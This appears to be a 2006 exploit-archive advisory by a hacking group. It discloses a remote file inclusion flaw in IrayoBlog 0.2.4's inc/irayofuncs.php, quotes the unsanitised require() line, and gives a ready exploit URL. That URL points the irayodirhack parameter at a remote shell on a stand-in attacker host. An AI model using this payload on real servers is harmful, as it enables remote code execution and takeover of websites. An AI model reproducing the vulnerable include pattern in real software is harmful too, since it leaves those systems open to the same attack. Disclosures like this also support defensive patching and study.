[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability
# Published : 2006-11-08
# Author : DeltahackingTEAM
# Previous Title : DodosMail <= 2.0.1 (dodosmail.php) Remote File Include Vulnerability
# Next Title : iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
*********************************************************************************************************
WwW.Deltahacking.NeT (Priv8 Site)
WwW.Deltahacking.Ir (Public Site)
**********************************************************************************************************
* Portal Name :irayoblog-alpha-0.2.4
* Class = Remote File Inclusion ;
* Download =http://ovh.dl.sourceforge.net/sourceforge/irayoblog/irayoblog-alpha-0.2.4.tar.gz
* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)
----------------------------------------------------------------------------------------------------------
- Vulnerable Code
require($irayodirhack."/inc/configdefaults.php");
++++++++++++++++++++++++++++++++++++++++++++
- Exploit:
http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell?
----------------------------------------------------------------------------------------------------------
Special Thanks : Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha
**********************************************************************************************************
# www.Syue.com [2006-11-08]